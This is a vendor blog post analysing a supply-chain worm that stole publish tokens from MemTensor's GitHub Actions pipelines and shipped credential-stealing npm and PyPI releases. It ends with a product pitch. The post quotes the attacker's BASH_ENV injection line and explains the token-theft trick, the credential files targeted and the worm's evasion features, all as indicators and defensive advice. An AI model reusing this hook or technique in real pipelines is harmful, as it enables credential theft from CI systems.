At 02:23 UTC on September 23, 2026, version 0.1.21 of @memtensor/memos-cloud-openclaw-plugin landed on npm with a Go binary called sckit tucked inside. By 05:25 the same attacker had pushed a poisoned MemoryOS 2.0.34 to PyPI. Every malicious release took the latest tag, so anyone running a plain install in that window pulled the implant. The last attacker cleanup action, deleting a git tag, happened at 05:55. Three and a half hours, start to finish, against a memory framework for AI agents that Forkast counts at roughly 11,500 GitHub stars.
The timeline comes from SafeDep's teardown, and Aikido, Socket and StepSecurity published parallel analysis. The Hacker News summarized all four. I've read through the published code excerpts and the campaign config, and what stands out isn't the stealer itself. Credential stealers are a commodity. It's how the attacker got the publish rights in the first place, and how little noise that step made.
So I'm going to read this one the way I'd read my own red-team report: by the artifacts the operator left behind, and what each one tells a defender.
Artifact one: a script that runs before your script
MemTensor's npm and PyPI tokens were never phished and never leaked in a repo. According to SafeDep, the attacker pushed commits that made MemTensor's own GitHub Actions release pipelines "hand over the npm or PyPI token."
The npm trick is small enough to fit in a tweet. The attacker modified .github/scripts/validate-release-confirmation.mjs so it appended one line to $GITHUB_ENV:
appendFileSync(env.GITHUB_ENV, `BASH_ENV=${process.cwd()}/.github/scripts/sckit-publish-bridge.sh`)
If you haven't abused BASH_ENV before, here's why this works. Bash sources whatever file BASH_ENV points at every time it starts a non-interactive shell. GitHub Actions runs run: steps in bash. Anything written to $GITHUB_ENV persists into every later step in the job. So one earlier step quietly plants a file that executes at the top of every shell step that follows, including the publish step that has NODE_AUTH_TOKEN sitting in its environment.
The bridge script called sckit with a collectStageZero() routine, passed it the token, and then exited with code 1.
That exit code is the detail I keep coming back to. The legitimate publish never ran. From the maintainer's side, the release job just failed. Red X, move on, rerun it later. There was no malicious package from that run and nothing weird in the npm audit log, just a CI job that broke in the middle of the night. The token was already gone.
PyPI got a variation. A custom Poetry build backend, sckit_poetry_build.py, injected the same BASH_ENV hook, which ran _pypi_bridge.sh. That script pulled a signed binary from a subdomain of skyleen[.]fr, ran it, grabbed INPUT_PASSWORD (the PyPI token as passed to the publish action), and exited cleanly. The malicious 2.0.34 was then published from a later commit using the stolen token.
What this tells you: your release workflow's threat model probably assumes the attacker wants to change what gets published. This attacker wanted the credential, and was happy to break the build to get it. A failed release job on a repo with publish secrets should get the same scrutiny as a successful one you didn't expect.
Artifact two: the clean releases in between
Look at SafeDep's timeline again. npm got 0.1.21 (malicious), then 0.1.22 (clean) and 0.1.23 (malicious) within four minutes of each other, then 0.1.24 (clean) and 0.1.25 (malicious) three minutes apart. A researcher opened issue #173 at 04:17, between the second and third malicious versions.
I read that interleaving as the maintainer and the attacker publishing into the same package at the same time, each holding a working token. That's an inference on my part, but it fits. It also explains a messy remediation detail: The Hacker News lists 0.1.24 as clean, while SafeDep's remediation guidance points users back to 0.1.20. When you share a namespace with an attacker, "the next version will fix it" stops being true. If you depend on this plugin, pin to a version you've verified yourself, not whichever one is latest this morning.
The attacker also cleaned up after themselves. They pushed and deleted a malicious branch named sc/release-0.1.21-20260922-cloud five times between 00:48 and 02:03, and deleted the tag v2.0.34-capture-1 at the end. Five push-and-delete cycles in 75 minutes on a release-shaped branch name is debugging. The operator was testing the token handoff against the real pipeline until it worked.
What this tells you: branch and tag deletions on repositories that hold publish secrets are a signal. Almost nobody alerts on them.
Artifact three: thirteen things it wanted from your home directory
Once sckit runs on a developer laptop or a CI runner, it goes hunting. Forkast lists 13 credential categories: npm tokens, PyPI tokens, GitHub and GitLab personal access tokens, AWS access keys, Hugging Face tokens, HashiCorp Vault tokens, Slack tokens, Stripe live keys, SendGrid keys, SSH keys, generic JWTs, and environment variables with secret-shaped names. SafeDep's file list includes .npmrc, .pypirc, .git-credentials, .netrc, id_rsa, id_ecdsa, id_ed25519, msal_token_cache, access_tokens.json and .vault-token, plus regex matching for AKIA and ASIA AWS key prefixes.
The trigger points matter too. The npm build fired when the OpenClaw gateway started and again every time the plugin handled a memory-recall event, meaning each prompt a user sent to their agent could run the stealer again. The PyPI version fired on import.
Think about where a memory framework for AI agents actually runs. It sits on developer machines that also hold cloud CLI profiles, and on agent hosts that are, by design, stuffed with API keys for every tool the agent can call. We covered the same pattern from a different angle with the 294 LiteLLM gateways still accepting a default master key: AI plumbing is where the credentials pool.
Artifact four: recursivePublish
This is what makes sckit a worm rather than a smash-and-grab stealer. The binary ships loader templates for Python packages, Node packages, and a GitHub Actions workflow called runtime-update.yml. SafeDep found functions named findRepositories, prepareRemoteRepository and recursivePublish. Stolen git credentials get used to push malicious commits and workflows into whatever repositories the victim can write to. Stolen npm and PyPI tokens let it publish directly.
Forkast reports no confirmed downstream propagation. Good. That's partly luck and partly speed: four firms had write-ups out the same day. But the design is the point. Every developer who installed a bad version between 02:23 and whenever they updated is a possible new patient zero, carrying tokens for packages that have nothing to do with MemTensor.
I've made this argument before about JetBrains' fifteen days of undetected CI access, and I'll make it again. The build pipeline is an identity system. It holds the credentials that decide what millions of machines will trust. Most organizations defend it like a batch job.
Artifact five: ja4_deny and not_after
Two config fields are the ones that should worry detection teams.
The first is ja4_deny, alongside geo_iso and host profiling functions that read timezone and language. SafeDep says these suggest the implant filters targets by geography and TLS fingerprint. JA4 fingerprints identify the client making a TLS connection. A deny list there is a strong hint the operator wants to recognize security vendor sandboxes and research tooling and simply not detonate for them. Combine that with signed leases and modules over an XChaCha20-Poly1305 channel keyed with X25519, and you get an implant that does very little until the C2 decides your machine is worth it.
The second is not_after, which SafeDep converts to October 22 to 23, 2026. The campaign has a built-in expiry. The npm campaign ID is cloud-openclaw-semi-nuclear and the PyPI one is memos-semi-nuclear. I don't know what the fully nuclear version does. I'd rather not find out on someone else's schedule.
Here's the uncomfortable conclusion. Sandbox detonation, the thing a lot of package-scanning pipelines rely on, is exactly what ja4_deny is built to beat. Static signatures work until the next build. What the operator can't filter out is the moment they use what they stole.
Why the stolen credential is the best place to catch this
Every stage of this attack is designed to be quiet. The token theft looks like a failed build. The implant stays dormant for analysts. The exfiltration is encrypted and signed. But sckit exists to collect credentials, and credentials are only worth something when someone uses them.
That's where deception wins, and I'll be specific about placement because vague honeytoken advice is useless:
- CI runners and release jobs. Put a decoy
NPM_TOKEN,PYPI_API_TOKENor AWS key in the environment of workflows that don't need a real one, and in the runner's home directory.sckit's regexes match onAKIAprefixes and secret-shaped variable names. It can't tell a decoy from a real key without using it, and using it fires an alert. - Developer home directories. A fake
[profile]in~/.aws/credentials, a decoy.git-credentialsentry, a plausible.vault-token. These are exactly the files on SafeDep's list. Real developers never touch the decoy profile, so any use is the stealer phoning home. - Agent hosts. If you run agent frameworks with memory plugins, seed the host with a decoy model provider key and a decoy cloud key. Agent hosts are where attackers expect a rich haul, so they're where a planted key earns its keep.
- Internal services the stolen keys point at. A decoy Vault endpoint or package registry on your network, the kind of thing MineField stands up, catches an operator who tries a harvested token against internal infrastructure instead of the public internet.
The logic is simple. Nothing legitimate ever authenticates with a key that was only ever planted as bait.
Deception doesn't replace the hygiene, so here's that too. Move to trusted publishing (OIDC) on npm and PyPI so there's no long-lived token in CI to steal. Put release jobs behind a protected environment with required reviewers. Protect release tags. Alert on writes to BASH_ENV via $GITHUB_ENV. It's rare in legitimate workflows, and I'd treat any occurrence as hostile until proven otherwise. Hunt for .sckit/ directories, runtime-update.yml, lib/sckit.js, memos/_stage0.py, processes matching sckit stage0 --config64, and any traffic to skyleen[.]fr. If you installed an affected version, rotate everything in that home directory, not just the npm token. And remember the Artifactory lesson: removing the package doesn't revoke what already left.
The part I'd put on a sticky note
The attacker's cleverest move in this campaign was exit 1. They didn't need to beat code review or slip a bad dependency past a scanner. They needed one build to fail in a way nobody would think about twice, and by the time the red X showed up the token was already on its way to a .fr server. Your pipeline will fail dozens of times this month for boring reasons. One of those failures might not be boring. If you want to know which one before an attacker publishes under your name, book a Mine2 demo and we'll show you where decoy credentials belong in your CI runners, developer laptops and agent hosts.
Monty
Offensive Security Lead, Mine2
Monty leads offensive security research at Mine2, breaking down how attackers turn vulnerabilities into footholds — and where deception trips them up first.
Recent Articles
Need Security Help?
Protect your organization with MINE2's cyber deception platform.
